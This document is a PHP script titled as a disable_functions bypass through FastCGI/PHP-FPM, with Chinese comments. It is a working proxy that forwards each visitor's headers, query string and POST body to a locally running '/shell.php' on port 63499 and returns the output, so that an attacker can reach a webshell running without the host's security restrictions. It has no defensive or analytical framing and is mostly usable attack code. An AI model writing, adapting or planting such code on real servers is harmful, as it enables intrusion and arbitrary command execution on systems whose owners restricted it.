disable_functions绕过：Fastcgi/PHP-FPM

<?php

// 获取客户端请求的 HTTP 头信息

function get_client_header(){

    $headers=array();

    foreach($_SERVER as $k=>$v){

        if(strpos($k,'HTTP_')===0){

            $k=strtolower(preg_replace('/^HTTP/', '', $k));

            $k=preg_replace_callback('/_\w/','header_callback',$k);

            $k=preg_replace('/^_/','',$k);

            $k=str_replace('_','-',$k);

            if($k=='Host') continue;

            $headers[]="$k:$v";

        }

    }

    return $headers;

}

// 转换 HTTP 头信息中的下划线为破折号

function header_callback($str){

    return strtoupper($str[0]);

}

// 解析 HTTP 响应中的头信息和内容

function parseHeader($sResponse){

    list($headerstr,$sResponse)=explode("\r\n\r\n",$sResponse, 2);

    $ret=array($headerstr,$sResponse);

    if(preg_match('/^HTTP\/1.1 \d{3}/', $sResponse)){

        $ret=parseHeader($sResponse);

    }

    return $ret;

}

// 设置执行时间限制

set_time_limit(120);

// 获取客户端的 HTTP 头信息

$headers=get_client_header();

// 定义主机和端口

$host = "127.0.0.1";

$port = 63499;

// 初始化错误信息和超时时间

$errno = '';

$errstr = '';

$timeout = 30;

// 定义 URL 路径

$url = "/shell.php";

// 如果有查询字符串，则添加到 URL 中

if (!empty($_SERVER['QUERY_STRING'])){

    $url .= "?".$_SERVER['QUERY_STRING'];

};

// 建立到主机的套接字连接

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);

if(!$fp){

    return false;  // 如果连接失败则返回 false

}

// 初始化请求方法和 POST 数据

$method = "GET";

$post_data = "";

if($_SERVER['REQUEST_METHOD']=='POST') {

    $method = "POST";

    $post_data = file_get_contents('php://input');

}

// 构建 HTTP 请求头部

$out = $method." ".$url." HTTP/1.1\r\n";

$out .= "Host: ".$host.":".$port."\r\n";

if (!empty($_SERVER['CONTENT_TYPE'])) {

    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";

}

$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);

$out .= "\r\n\r\n";

$out .= "".$post_data;

// 发送 HTTP 请求

fputs($fp, $out);

// 读取并存储响应数据

$response = '';

while($row=fread($fp, 4096)){

    $response .= $row;

}

fclose($fp);

// 从响应中提取内容部分

$pos = strpos($response, "\r\n\r\n");

$response = substr($response, $pos+4);

echo $response;  // 输出响应内容